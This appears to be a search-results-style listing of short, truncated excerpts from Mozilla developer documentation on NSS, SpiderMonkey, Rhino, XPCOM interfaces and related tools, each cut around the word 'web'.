other companies in a variety of products, including the following: Mozilla products, including Firefox, Thunderbird, SeaMonkey, and Firefox OS. AOL Instant Messenger (AIM) Open source client applications such as Evolution, Pidgin, Apache OpenOffice, and LibreOffice. Server products from Red Hat: Red Hat Directory Server, Red Hat Certificate System, and the mod_nss SSL module for the Apache
web server. Server products from Oracle (formerly Sun Java Enterprise System), including Oracle Communications Messaging Server and Oracle Directory Server Enterprise Edition. SUSE Linux Enterprise Server supports NSS and the mod_nss SSL module for the Apache
web server. NSS includes a framework to which developers and OEMs can contribute patches, such as assembler code, to optimize performance o...
PKCS11 FAQ
t can be used to generate your new key info. In the key generation process, NSS arranges for the key to have it's CKA_ID set to some value derived from the public key, and the public key will be extracted using C_GetAttributes. This key will be sent to the CA. At some later point, the CA presents the certificate to you (as part of this keygen, or in an e-mail, or you go back and fetch it from a
web page once the CA notifies you of the arrival of the new certificate). NSS uses the public key to search all its tokens for the private key that matches that certificate. The certificate is then written to the token where that private key resides, and the certificate's CKA_ID is set to match the private key. Why does Firefox require users to authenticate themselves by entering a PIN at the keyboa...
NSS tools : certutil
jvR1ktIY9aG6cB7DSKWmtHp/+p4PUCMqL4ZrSGt901qxkePyZ2dYmM2 RnelK+SEUIPiUtoZaDhNdiYsE/yuDE8vQWj0vHCVL0w72qFUcSQ/WZT7FCrnUIUI udeWnoPSUn70gLhcj/lvxl7K9BHyD4Sq5CzktwYtFWLiiwV+ZY/Fl6JgbGaQyQB2 bP4iRMfloGqsxGuB1evWVDF1haGpFDSPgMnEPSLg3/3dXn+HDJbZ29EU8/xKzQEb 3V0AHKbu80zGllLEt2Zx/WDIrgJEN9yMfgKFpcmL+BvIRsmh0VsCAwEAAaOBqzCB qDAfBgNVHSMEGDAWgBQATgxHQyRUfKIZtdp55bZlFr+tFzAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdD
wEB/wQEAwIBxjAdBgNVHQ4EFgQUAE4MR0MkVHyiGbXaeeW2ZRa/ rRcwRQYIKwYBBQUHAQEEOTA3MDUGCCsGAQUFBzABhilodHRwOi8vbG9jYWxob3N0 LmxvY2FsZG9tYWluOjkxODAvY2Evb2NzcDANBgkqhkiG9w0BAQUFAAOCAQEAi8Gk L3XO43u7/TDOeEsWPmq+jZsDZ3GZ85Ajt3KROLWeKVZZZa2E2Hnsvf2uXbk5amKe lRxdSeRH9g85pv4KY7Z8xZ71NrI3+K3uwmnqkc6t0hhYb1mw/gx8OAAoluQx3biX JBDxjI73Cf7XUopplHBjjiwyGIJUO8BEZJ5L+TF4P38MJz1snLtzZpEAX5bl0U76 bfu/tZFWBbE8YAWYtkCt...
NSS Tools certutil
T Directory Services C,C, BelSign Secure Server CA C,, Verisign/RSA Secure Server CA C,C, GTE CyberTrust Root CA C,C, Uptime Group Plc. Class 4 CA ,C, VeriSign Class 3 Primary CA C,C,C Canada Post Corporation CA C,C, Integrion CA C,C,C IBM World Registry CA C,C,C GTIS/PWGSC, Canada Gov.
Web CA C,C, GTIS/PWGSC, Canada Gov. Secure CA C,C,C MCI Mall CA C,C, VeriSign Class 4 Primary CA C,C,C KEYWITNESS, Canada CA C,C, BelSign Object Publishing CA ,,C BBN Certificate Services CA Root 1 C,C, p prohibited (explicitly distrusted) P Trusted peer c Valid CA T Trusted CA to issue client certs (implies c) C T...
certutil
jvR1ktIY9aG6cB7DSKWmtHp/+p4PUCMqL4ZrSGt901qxkePyZ2dYmM2 RnelK+SEUIPiUtoZaDhNdiYsE/yuDE8vQWj0vHCVL0w72qFUcSQ/WZT7FCrnUIUI udeWnoPSUn70gLhcj/lvxl7K9BHyD4Sq5CzktwYtFWLiiwV+ZY/Fl6JgbGaQyQB2 bP4iRMfloGqsxGuB1evWVDF1haGpFDSPgMnEPSLg3/3dXn+HDJbZ29EU8/xKzQEb 3V0AHKbu80zGllLEt2Zx/WDIrgJEN9yMfgKFpcmL+BvIRsmh0VsCAwEAAaOBqzCB qDAfBgNVHSMEGDAWgBQATgxHQyRUfKIZtdp55bZlFr+tFzAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdD
wEB/wQEAwIBxjAdBgNVHQ4EFgQUAE4MR0MkVHyiGbXaeeW2ZRa/ rRcwRQYIKwYBBQUHAQEEOTA3MDUGCCsGAQUFBzABhilodHRwOi8vbG9jYWxob3N0 LmxvY2FsZG9tYWluOjkxODAvY2Evb2NzcDANBgkqhkiG9w0BAQUFAAOCAQEAi8Gk L3XO43u7/TDOeEsWPmq+jZsDZ3GZ85Ajt3KROLWeKVZZZa2E2Hnsvf2uXbk5amKe lRxdSeRH9g85pv4KY7Z8xZ71NrI3+K3uwmnqkc6t0hhYb1mw/gx8OAAoluQx3biX JBDxjI73Cf7XUopplHBjjiwyGIJUO8BEZJ5L+TF4P38MJz1snLtzZpEAX5bl0U76 bfu/tZFWBbE8YAWYtkCt...
NSS tools : signtool
ying, and managing certificates, including CAs that issue object-signing certificates. You must also have a certificate for the CA that issues your signing certificate before you can sign files. If the certificate authority's certificate isn't already installed in your copy of Communicator, you typically install it by clicking the appropriate link on the certificate authority's
web site, for example on the page from which you initiated enrollment for your signing certificate. This is the case for some test certificates, as well as certificates issued by Netscape Certificate Management System: you must download the the CA certificate in addition to obtaining your own signing certificate. CA certificates for several certificate authorities are preinstalled in t...
Rhino FAQ
field. For example, creating an array of seven ints can be done with the code var intArray = java.lang.reflect.Array.newInstance(java.lang.Integer.TYPE, 7); When I try to execute a script I get the exception Required security context missing. What's going on? You've likely missed placing the Security.properties file in your class path at org.mozilla.javascript.resources. Can I use Rhino in a
web browser? Rhino is a library for Java use, and not for general
web browsers. However, a Java-based browser may use Rhino with scripts from a page in the same manner that any other Java program would. ...
Rhino overview
However, Rhino is an implementation of the core language only and doesn't contain objects or methods for manipulating HTML documents. Rhino contains All the features of JavaScript 1.7 Allows direct scripting of Java A JavaScript shell for executing JavaScript scripts A JavaScript compiler to transform JavaScript source files into Java class files A JavaScript debugger for scripts executed with Rhino Language The JavaScript language itself is standardized by Standard ECMA-262 ECMAScript: A general purpose, cross-platform programming language. ...
Creating JavaScript jstest reftests
rowser. If your test needs to use shell-specific features, like gc(), either: make the test silently pass if those features aren't present; or make it a jit-test (so that it never runs in the browser); or at the top of the test, add the comment // skip-if(!xulRuntime.shell), so that it only runs in the shell. ...
Future directions
deal future state" for the engine. That means the code as it is today won't match this document, and that's OK. Whenever practical, new code and changes should move code closer to the ideal future. And of course, the idea of the future is always evolving in time as things change and we learn more. Concurrent and wasm GC We are working towards a concurrent collector. We would also like to allow
WebAssembly to interact with GC-managed data. Parallelism Most machines that run SpiderMonkey have multiple cores, so parallelism is almost certainly part of our future. It will take some experimentation to build the right set of parallel facilities. During that experimentation, we must take care to apply parallelism with conceptual clarity and discipline. The API The SpiderMonkey API is C++. Fo...
Introduction to the JavaScript shell
use the shell to experiment with JavaScript code and run JavaScript programs. To get the SpiderMonkey JavaScript shell, see the SpiderMonkey Build Documentation or download a compiled binary for your platform from the Nightly Builds. For a list of other JavaScript shells, see JavaScript shells. Note: Starting with SpiderMonkey 44 (Firefox 44 / Thunderbird 44 / SeaMonkey 2.41), the standard,
Web-compatible JavaScript version is used by default (and not JS1.7+ anymore). The version() shell builtin is still there for testing legacy features. Running the JavaScript shell The shell offers two modes of operation. You can use it as an interactive shell, in which you type JavaScript code at a prompt and get instant gratification, which is handy for experimenting or testing new features. You ...
JIT Optimization Strategies
== Shape3 then obj.slots[2] ... end GetProp_Innerize Attempts to optimize a situation where a property access of the form window.PROP can be directly translated into a property access on the inner global object. This optimization will always fail on property accesses which are not on the window object. It is useful because accessing global names via the 'window' object is a common idiom in
web programming. GetProp_InlineCache This is the worst-case scenario for a property access optimization. This strategy is used when all the others fail. The engine simply inserts an inline cache at the property access site. Inline caches start off as a jump to a separate piece of code called a "fallback". The fallback calls into the interpreter VM (which is very slow) to perform the operation, and...
JSErrorReport
scription filename const char * Indicates the source file or URL that produced the error condition. If NULL, the error is local to the script in the current HTML page. lineno unsigned Line number in the source that caused the error. column unsigned zero-based column index in line in the source that caused the error. isMuted bool The
Web Platform allows scripts to be loaded from arbitrary cross-origin sources. This allows an attack by which a malicious
website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents. To counter this attack, HTML5 specifies that script errors should be sanitize...
JSVersion
CMAv3" JSVERSION_1_5Obsolete since JSAPI 24 150 JavaScript 1.5 "1.5" JSVERSION_1_6 160 JavaScript 1.6 "1.6" JSVERSION_1_7 170 JavaScript 1.7 "1.7" JSVERSION_1_8 180 JavaScript 1.8 "1.8" JSVERSION_ECMA_5 185 ECMA 262 Edition 5 "ECMAv5" JSVERSION_DEFAULT 0 Latest JavaScript version, but omitting
web-incompatible extensions "default" JSVERSION_UNKNOWN -1 Unknown JavaScript version NULL JSVERSION_LATEST JSVERSION_ECMA_5 Latest JavaScript version NULL See Also MXR ID Search for JSVersion JS_GetVersion JS_SetVersion JS_StringToVersion JS_VersionToString bug 824312 ...
JS_GetGlobalObject
ForObject or JS_GetGlobalForScopeChain instead. The concept of a global object belonging to a context will likely be phased out in future versions of SpiderMonkey. JS_GetGlobalObject retrieves the global object for a specified JSContext *, cx. This returns NULL if cx has no global object. SpiderMonkey supports applications that have multiple global objects, such as the various window objects in a
Web browser. The object returned by JS_GetGlobalObject is not necessarily the same thing as the global object seen by any JavaScript code that runs in cx! If a function is executing, the global object used by that function is determined when the function is created. Furthermore, some JSAPI functions, such as JS_ExecuteScript, allow the caller to specify a global object in which the script executes. I...
Running Automated JavaScript Tests
you to show the test command lines being run, command output and return codes, run tests named in a given file, exclude tests named in a given file, hide the progress bar, change the timeout, run skipped tests, print output in Tinderbox format, run a test in the debugger, or run tests in valgrind. Run with the -h option to see all the options. The jstests test suite also includes some tests from
web-platform-tests. By default, these are only run when no tests paths are specified; this can be overridden by the --wpt=enabled flag. Running JSTest in a browser JSTests also runs on browser, with the following command: ./mach jstestbrowser To run specific test, you can use --filter=PATTERN command-line argument, where PATTERN is a RegExp pattern that is tested against file:///{PATH_TO_OBJ_DIR...
Running Parsemark
Yes, it includes GMail. Here's how you get your mitts on it. The test files are not checked into the source tree because they're non-Mozilla JS code. Download the suite of parse tests from Bug 548621 and decompress them. Within js/src/tests, run python parsemark.py -h to see help documentation. ...
Zest
The language is written in JSON, but we do not expect people to write Zest in this format - it is designed to be a visual language. The core language does not define any graphical representation - that is expected to be defined by the tools that integrate Zest. It is completely free, open source and can be included in any tool whether open or closed, free or commercial. ...
Mozinfo
ion, bits, and processor. Additionally, the service pack in use is available on the windows platform. API Usage MozInfo is a python package. Downloading the software and running python setup.py develop will allow you to do import mozinfo from python. mozinfo.py is the only file contained is this package, so if you need a single-file solution, you can just download or call this file through the
web. The top level attributes (os, version, bits, processor) are available as module globals: if mozinfo.os == 'win': ... In addition, mozinfo exports a dictionary, mozinfo.info, that contain these values. mozinfo also exports: choices: a dictionary of possible values for os, bits, and processor main: the console_script entry point for mozinfo unknown: a singleton denoting a value that canno...
Redis Tips
re would be <score_number>.<extra_data_number>. My Most Favorite Flavor My most favorite flavor in redis is the ZSET. ZSETs are a large part of the answer to most of life's problems. And more than that, they are just fucking awesome. Fast, efficient, versatile, simple, powerful. Talk to your doctor today to find out whether ZSETs might be right for you. You may encounter articles on the
web trying to scare you away from using lots of small zsets due to their memory consumption. If they were written before Redis 2.4 was released, they are out-of-date and useless. I recommend instead reading about redis's memory optimizations for small zsets: http://oldblog.antirez.com/post/everything-about-redis-24.html. My Least Favorite Flavor Storing huge globs of JSON. How can I hate this? ...
Handling Mozilla Security Bugs
this information) and will also send a copy of this message to an appropriate moderated mailing list and/or newsgroup (e.g., netscape.public.mozilla.announce and/or some other newsgroup/list established specifically for this purpose). Mozilla distributors who wish to inform their users of the existence of a vulnerability may repost any information from the Known Vulnerabilities page to their own
websites, mailing lists, release notes, etc., but should not disclose any additional information about the bug. The original reporter of a security bug may decide when that bug report will be made public. Disclosure is done by clearing the bug's "Security-Sensitive" flag, after which the bug will revert to being an ordinary bug. We believe that investing this power in the bug reporter simply acknowl...
Setting up an update server
g your update server Now, start an update server to serve the update files on port 8000. An easy way to do this is with Python. Remember to navigate to the correct directory before starting the server. This is the Python2 command: python -m SimpleHTTPServer 8000 or, this is the Python3 command: python3 -m http.server 8000 If you aren't sure that you started the server correctly, try using a
web browser to navigate to http://127.0.0.1:8000/update.xml and make sure that you get the XML file you created earlier. Installing the update You may want to start by deleting any pending updates to ensure that no previously found updates interfere with installing the desired update. You can use this command with Firefox's browser console to determine the update directory: const {FileUtils} = Ch...
AT Development
Architecture How the accessibility hierarchy is implemented in Mozilla (some issues aren't addressed by previous guide). Building XULRunner with Python How to build XULRunner with Python on Windows. Then comtypes gives access to MSAA and IAccessible2. References AT APIs Implementation References Shows how Gecko handles ATK, IAccessible2, MSAA and Universal Access API Accessible
Web Specifications References Provides the map of reflecting
web specification to AT APIs. This page includes: ARIA References - W3C specification reflecting ARIA mapping into AT APIs. XForms References - Gecko documentation showing how XForms controls are mapped to AT APIs. ...
Feed content access API
eedResultListener Implemented by the program that wants to parse an RSS or Atom feed to receive notification when parsing is complete. nsIFeedTextConstruct Represents text values in a feed; includes functions that let you fetch the text as plain text or HTML. nsIScriptableUnescapeHTML A utility class that unescapes HTML strings. Example: Reading a feed from the
Web It's actually quite easy to read and parse a feed. Use an XMLHttpRequest to load the feed, then pass its string to an nsIFeedProcessor to parse the feed. Loading the feed and sending it to the parser is done using code similar to this: fetch: function(feedUrl) { var httpRequest = null; function infoReceived() { var data = httpRequest.responseText; var ioService = Compone...
Places utilities for JavaScript
nt The default insertion point for the new item. If set, the folder picker would be hidden unless aShowPicker is set to true, in which case the dialog only uses the folder identifier from the insertion point as the initially selected item in the folder picker. [optional] aShowPicker see above [optional] aLoadInSidebar If true, the dialog will default to load the new item in the sidebar (as a
web panel). [optional] aKeyword The default keyword for the new bookmark. The keyword field will be shown in the dialog if this is used. [optional] aPostData POST data for POST-style keywords. Return type Returns true if any transaction has been performed. Note: The location, description and "load in sidebar" fields are visible only if there is no initial URI (aURI is null). Note: When aD...
Using the Places annotation service
The annotation service, provided by the nsIAnnotationService interface, is designed to store arbitrary data about a
web page or about an item in the Places database in Firefox 3. It is usable from trusted Firefox code such as extensions, but not from
web pages. For an overview of the Places database design, see The Places database. Most methods in the service are duplicated with one method labeled as a 'Page Annotation' taking an nsIURI and the others labeled as an 'Item Annotation' and taking the id of an item in the places database. Which one to use is usually dictated by the application. URI's are easier to use for services that want to annotate a
web page loaded in the browser, while ID's are easier to use for services already working with the places database. Id's also offer the abili...
Using the Places livemark service
ating the livemark. Determine whether a folder is a livemark You can use the nsILivemarkService.isLivemark() method to determine whether or not a given folder is a livemark container: if (livemarkService.isLivemark(folderID)) { // it's a livemark } else { // it's not a livemark } Accessing the container's site URI The nsILivemarkService.getSiteURI() method lets you obtain the nsIURI of the
website associated with a livemark container. var siteURI = livemarkService.getSiteURI(newLvmkId); //newLvmkId = see "Create a new livemark" for more detail. getSiteURI() returns null if there is no URI for the specified livemark. nsILivemarkService.setSiteURI() sets the URI of the
website associated with a livemark container. livemarkService.setSiteURI(newLvmkId, uri("http://newuri.c...
Generating GUIDs
a GUID is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, where each x stands for a hexadecimal digit. There are a number of tools that can be used to generate a GUID in the canonical form. Note: If you do choose to use an email-style ID for your add-on, you probably don't want it to be a real email address, since it might attract spam. Online tools Generate GUID Online UUID (GUID) Generator on the
WEB UUID Generator for Mozilla Code (both IDL and C++.h forms) You can get a GUID from one of the bots (such as botbot, firebot) on #firefox IRC channel by /msging "uuid" to them. Windows Windows users can use the GuidGen tool from Microsoft to obtain a GUID. (This tool is also part of MS Visual C++) Linux Use /usr/bin/uuidgen. This can be found in package uuid-runtime (Debian). Mac OS X Use...
XPCOM glue
and xpcom.lib. It should not link against xpcom_core.lib. This is the case for XPCOM components, because they are loaded into Mozilla which already has full XPCOM loaded and initialized. Frozen linkage: standalone glue (no DLL dependencies) Note: Support for locating a standalone glue was removed in Gecko 6.0. Use this when you have a custom application where you want to embed Gecko to show
webpages in your own window. I.e. this linkage strategy is used when an embedder needs to bootstrap XPCOM by finding a compatible GRE on disk and loading it. In order to use XPCOM, the embedding application first needs to find where the XPCOM runtime is located. This is typically done using GRE_GetGREPathWithProperties. Then, the code must call XPCOMGlueStartup, which will dynamically link against t...
XPCOM changes in Gecko 2.0
while their authors updated their code to use XPCNativeWrappers. If your add-on depends upon XBL bindings attached to content objects--for example, the ability to call functions or get and set properties created by the XBL binding--you will need to use the XPCNativeWrapper property wrappedJSObject to access wrapped objects. If you need to be able to call functions or access properties defined by
web content, you'll need to do this as well. This may be the case if, for example, you've written an extension that adds a delete button to a
web mail service, and the service defines a window.delete() function that you need to call. If, on the other hand, all you're doing with content is accessing DOM methods and properties, you've never needed to be using xpcnativewrappers=no in the first place, an...
Mozilla internal string guide
n text node and SpiderMonkey strings. Latin1 converts to UTF-16 by zero-extending each byte to a 16-bit code unit. Note that this kind of "Latin1" is not available for encoding HTML, CSS, JS, etc. Specifying charset=latin1 means the same as charset=windows-1252. Windows-1252 is a similar but different encoding used for interchange. In addition, there exist multiple other (legacy) encodings. The
Web-relevant ones are defined in the Encoding Standard. Conversions from these encodings to UTF-8 and UTF-16 are provided by mozilla::Encoding. Additonally, on Windows the are some rare cases (e.g. drag&drop) where it's necessary to call a system API with data encoded in the Windows locale-dependent legacy encoding instead of UTF-16. In those rare cases, use MultiByteToWideChar/WideCharToMultiByte fr...
XPCOM Stream Guide
provide a way to read or write data to some object. In basic C++ programming for a console application, we usually talk about streams to access files, or to interact with the user. Mozilla's use of streams is more complex. On the one hand, we don't interact with the user through streams. On the other hand, we use streams to access files within a ZIP archive, to store and provide data coming from
websites, even to talk to other programs on the same computer through "pipes" (more on that later). We even have streams that take input from other streams and transform the data within them to something more useful. Primitive streams There are streams for several different types of data storage. Each of these implements nsIInputStream. Primitive Input Streams Type Native Class Co...
Components.utils.cloneInto
it in a less-privileged scope. It returns a reference to the clone: var clonedObject = cloneInto(myObject, targetWindow); You can then assign the clone to an object in the target scope as an expando property, and scripts running in that scope can access it: targetWindow.foo = clonedObject; In this way privileged code, such as an add-on, can share an object with less-privileged code like a normal
web page script. Syntax Components.utils.cloneInto(obj, targetScope[, options]); Parameters obj : object The object to clone. targetScope : object The object to attach the object to. options : object This optional parameter is an object with the following optional properties: cloneFunctions: a Boolean value that determines if functions should be cloned. If omitted the defa...
Components.utils.evalInWindow
ivileged JavaScript context. The result is structured cloned back to the original context, unless it is native (for example, if it returns a DOM node, this is not structured cloned, because the original context will see that through an XrayWrapper already), so it's guaranteed to behave predictably. This is useful for privileged code, such as add-on code, to access variables and APIs defined in
web content. Even so, while the code is being evaluated it is in the content's context, so the caller has to be prepared for the possibility that the content could have redefined behavior (for example, a setter in the script may have been redefined to do something unexpected). This function is made available as a global in sandboxes which have the wantExportHelpers option set in the Sandbox() constru...
Components.utils.exportFunction
A function exported from privileged to less-privileged code can be called from the less privileged code's context. The function has access to its surrounding closure just as if it were being called in the privileged context. ...
Components.utils.isXrayWrapper
For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. Any expando properties are not visible, and if any native properties have been redefined, this has no effect. Use this function to determine whether a given object is an Xray or not. Syntax boolean Components.utils.isXrayWrapper(obj); Parameters obj The object to check. ...
Components.utils.unwaiveXrays
Privileged code can waive Xray vision using waiveXrays, and it will then see expandos. It can then use unwaiveXrays to restore its Xray vision for the object. ...
Components.utils.waiveXrays
For example, privileged code using an Xray to a DOM object sees only the original, native version of the DOM object. ...
IAccessible2
S_OK. windowHandle() Returns the window handle for the parent window which contains this object. This is the same window handle which will be passed for any events that occur on the object, but is cached in the accessible object for use when it would be helpful to access the window handle in cases where an event isn't fired on this object. A use case is when a screen reader is grabbing an entire
web page on a page load. Without the availability of windowHandle, the AT would have to get the window handle by using WindowFromAccessibleObject on each IAccessible, which is slow because it's implemented by oleacc.dll as a loop which crawls up the ancestor chain and looks for a ROLE_WINDOW object, mapping that back to a window handle. [propget] HRESULT windowHandle( [out] HWND windowHandle ); Pa...
IAccessibleText
tOffset The starting offset of the character range over which all text() attributes match those of offset. (0 based) endOffset The offset of the first character past the character range over which all text() attributes match those of offset. (0 based) textAttributes A string of attributes describing the text(). The attributes are described in the; text attributes specification on the IAccessible2
web site. Return value E_INVALIDARG if bad [in] passed, [out] values are 0s and null respectively. S_FALSE if there is nothing to return, [out] values are 0s and null respectively. S_OK. caretOffset() Returns the position of the caret. Returns the 0-based offset of the caret within the text(). If the text() is implemented as a tree of text() objects with embed characters in higher levels representin...
amIInstallCallback
1.0 66 Introduced Gecko 2.0 Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Method overview void onInstallEnded(in AString aUrl, in PRInt32 aStatus); Methods onInstallEnded() Called when an install completes or fails. ...
imgIRequest
y loaded to memory, but not necessarily fully decoded. STATUS_ERROR 0x8 An error occurred loading the image. STATUS_FRAME_COMPLETE 0x10 The first frame has been completely decoded. STATUS_DECODE_COMPLETE 0x20 The whole image has been decoded. CORS_NONE 1 CORS modes images can be loaded with. By default, all images are loaded with CORS_NONE and cannot be used cross-origin in context like
WebGL. If an HTML img element has the crossorigin attribute set, the imgIRequest will be validated for cross-origin usage with CORS, and, if successful, will have its CORS mode set to the relevant type. CORS_ANONYMOUS 2 CORS_USE_CREDENTIALS 3 Methods cancelAndForgetObserver() Cancels this request as in nsIRequest.Cancel(); further, also nulls out decoderObserver so it gets no further notifi...
nsIAbCard
AString department AString company AString aimScreenName AString anniversaryYear AString anniversaryMonth AString anniversaryDay AString spouseName AString familyName AString defaultAddress AString category AString
webPage1 AString Used for the contact's work
web page
webPage2 AString Used for the contact's home
web page birthYear AString birthMonth AString birthDay AString custom1 AString custom2 AString custom3 AString custom4 AString notes AString ...
nsIAboutModule
s from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Method overview unsigned long getURIFlags(in nsIURI aURI); nsIChannel newChannel(in nsIURI aURI); Constants Constant Value Description URI_SAFE_FOR_UNTRUSTED_CONTENT (1 << 0) A flag that indicates whether a URI is safe for untrusted content. If it is,
web pages and so forth will be allowed to link to this about: URI. Otherwise, only chrome will be able to link to it. ALLOW_SCRIPT (1 << 1) A flag that indicates whether script should be enabled for the given about: URI even if it's disabled in general. HIDE_FROM_ABOUTABOUT (1 << 2) A flag that indicates whether this about: URI doesn't want to be listed in about:about,...
nsIAnnotationService
1.0 66 Introduced Gecko 1.9 Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Implemented by: "@mozilla.org/browser/annotation-service;1". To use this service, use: var annotationService = Components.classes["@mozilla.org/browser/annotation-service;1"] .getService(Components.interfaces.nsIAnnotationService); Note: The annotation service is not thread-safe. ...
nsIAppShell
n some platforms this will be a no-op. void resumeNative(); Parameters None. run() Enter an event loop. Do not leave until exit() is called. void run(); Parameters None. runInStableState() Allows running of a "synchronous section", in the form of an nsIRunnable once the event loop has reached a "stable state". A stable state is reached when the currently executing task/event has finished, (see:
webappapis.html#synchronous-section). In practice this runs aRunnable once the currently executing event finishes. If called multiple times per task/event, all the runnables will be executed, in the order in which runInStableState was called. void runInStableState( in nsIRunnable aRunnable ); Parameters aRunnable An nsIRunnable to run. Spindown() Obsolete since Gecko 1.9 (Firefo...
nsIApplicationCacheService
netwerk/base/public/nsIApplicationCacheService.idlScriptable This interface manages the set of application cache groups that manage offline resources for
web applications. 1.0 66 Introduced Gecko 1.9.1 Inherits from: nsISupports Last changed in Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0) Method overview void cacheOpportunistically(in nsIApplicationCache cache, in ACString key); nsIApplicationCache chooseApplicationCache(in ACString key); nsIApplicationCache createApplicationCache(in ACString group); void deactivateGroup(in ACString group); nsIApplicationCache getActiveCache(in ACString group); nsIApplicationCache getApplicationCache(in ACString clientID); void getGroups([optional] out unsigned long count, [array, size_is(count),...
nsIBrowserBoxObject
9 (Firefox 3) The boxObject belonging to a XUL browser element implements this interface. Note: Please consider using nsIContainerBoxObject instead. Attributes Attribute Type Description docShell nsIDocShell Read only. Obsolete since Gecko 1.9 The nsIDocShell object that manages the contained document. The browser.xml binding uses this property to gain access to the
webNavigation, contentDocument, contentWindow,
webBrowserFind,
webProgress and sessionHistory properties. ...
nsIClipboardCommands
webshell/public/nsIClipboardCommands.idlScriptable An interface for embedding clients who wish to interact with the system-wide OS clipboard. Mozilla does not use a private clipboard, instead it places its data directly onto the system clipboard. The
webshell implements this interface. Inherits from: nsISupports Last changed in Gecko 1.7 Method overview boolean canCopyImageContents(); boolean canCopyImageLocation(); boolean canCopyLinkLocation(); boolean canCopySelection(); boolean canCutSelection(); boolean canPaste(); void copyImageContents(); void copyImageLocation(); void copyLinkLocation(); void copySelection(); void cutSelection(); void paste(); void selectAll(); void selectNone(); Methods canCopyImageContents() Returns whether we can copy...
nsIContentPrefService
dom/interfaces/base/nsIContentPrefService.idlScriptable Please add a summary to this article. Last changed in Gecko 2 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Inherits from: nsISupports Implemented by: @mozilla.org/content-pref/service;1. ...
nsIContentPrefService2
dom/interfaces/base/nsIContentPrefService2.idlScriptable Asynchronous API for Content Preferences 1.0 66 Introduced Gecko 20.0 Inherits from: nsISupports Last changed in Gecko 20.0 (Firefox 20.0 / Thunderbird 20.0 / SeaMonkey 2.17) Description Content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or
web "content". Specifically, a content preference is a structure with three values: a domain with which the preference is associated, a name that identifies the preference within its domain, and a value. (See nsIContentPref below.) For example, if you want to remember the user's preference for a certain zoom level on www.mozilla.org pages, you might store a preference whose domain is "www.mozilla.org", whos...
nsIDOMFileList
The nsIDOMFileList interface contains a list of nsIDOMFile objects describing the files selected by the user for a "file" input field on a
web form. Gecko 1.9.2 note Starting in Gecko 1.9.2, this is also used by the DataTransfer object to support dragging and dropping files into
web applications. This interface implements the DOM FileList object. Please see that documentation for details. See also FileList DataTransfer Drag and Drop ...
nsIDOMGlobalPropertyInitializer
dom/interfaces/base/nsIDOMGlobalPropertyInitializer.idlScriptable An initializer for global properties that lets them know about the window they're being attached to. 1.0 66 Introduced Gecko 2.0 Inherits from: nsISupports Last changed in Gecko 2.0 (Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) An XPCOM component implementing this interface can be exposed to
web content as a property on the window. See Custom window properties are a snap in Firefox blog post for details. An alternative way to expose an object to the
web content is to add the property in response to the content-document-global-created notification. Method overview jsval init(in nsIDOMWindow window); Methods init() jsval init( in nsIDOMWindow window ); Parameters window ...
nsIDOMHTMLSourceElement
eter may be specified and might be necessary to specify exactly how the resource is encoded. media Unimplemented DOMString The media attribute gives the intended media type of the media resource, to help the user agent determine if this media resource is useful to the user before fetching it. Its value must be a valid media query. Example <video controls> <source src="foo.
webm" type="video/
webm; codecs="vp9, opus""> Your browser does not support the <code>video</code> element. </video> This example specifies that a video object with playback controls should be drawn, playing the file "foo.ogg". The type is specified as "video/ogg", and the source element also specifies that the video file uses the Dirac and Speex codecs. ...
nsIDOMOfflineResourceList
It includes methods for adding resources to and removing resources from the cache, as well as for enumerating the dynamically managed resource list. dom/interfaces/offline/nsIDOMOfflineResourceList.idlScriptable Please add a summary to this article. ...
nsIDOMProgressEvent
duced Gecko 1.9.1 Deprecated Gecko 22 Inherits from: nsIDOMEvent Last changed in Gecko 1.9.1 (Firefox 3.5 / Thunderbird 3.0 / SeaMonkey 2.0) The nsIDOMProgressEvent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download. This implementation is a placeholder until the specification is complete, and is compatible with the
WebKit ProgressEvent. Method overview void initProgressEvent(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in boolean lengthComputableArg, in unsigned long long loadedArg, in unsigned long long totalArg); Deprecated since Gecko 22.0 Attributes Attribute Type Description lengthComputable boolean Specifies whether or not the to...
nsIDownloadManager
TYPE_DOWNLOAD 0 The download type used by addDownload. Is the type for a "generic file download" according to the .idl file. Methods addDownload() Creates an nsIDownload and adds it to the list of activities being managed by the Download Manager. Note: Adding a download doesn't automatically begin the transfer. If you want to both add and start a download, you need to create an nsI
WebBrowserPersist object, call this method, set the progressListener to the returned nsIDownload object, and then call the nsI
WebBrowserPersist.saveURI() method. Note: Prior to Gecko 12.0, this was a synchronous operation; that is, once this method returned, you knew that the download was in the Download Manager's list. That is no longer the case. Adding downloads to the Download Manager is now an ...
nsIEditorBoxObject
1.9 (Firefox 3) The boxObject belonging to a XUL editor element implements this interface. Note: Please consider using nsIContainerBoxObject instead. Attributes Attribute Type Description docShell nsIDocShell Read only. Obsolete since Gecko 1.9 The nsIDocShell object that manages the contained document. The editor.xml binding uses this property to gain access to the
webNavigation, contentDocument, contentWindow,
webBrowserFind, editingSession and commandManager properties. ...
nsIFilePicker
Ls 0x80 Allow URLs. filterAudio 0x100 Corresponds to the *.aac, *.aif, *.flac, *.iff, *.m4a, *.m4b, *.mid, *.midi, *.mp3, *.mpa, *.mpc, *.oga, *.ogg, *.ra, *.ram, *.snd, *.wav and *.wma filters for file extensions. filterVideo 0x200 Corresponds to the *.avi, *.divx, *.flv, *.m4v, *.mkv, *.mov, *.mp4, *.mpeg, *.mpg, *.ogm, *.ogv, *.ogx, *.rm, *.rmvb, *.smil, *.
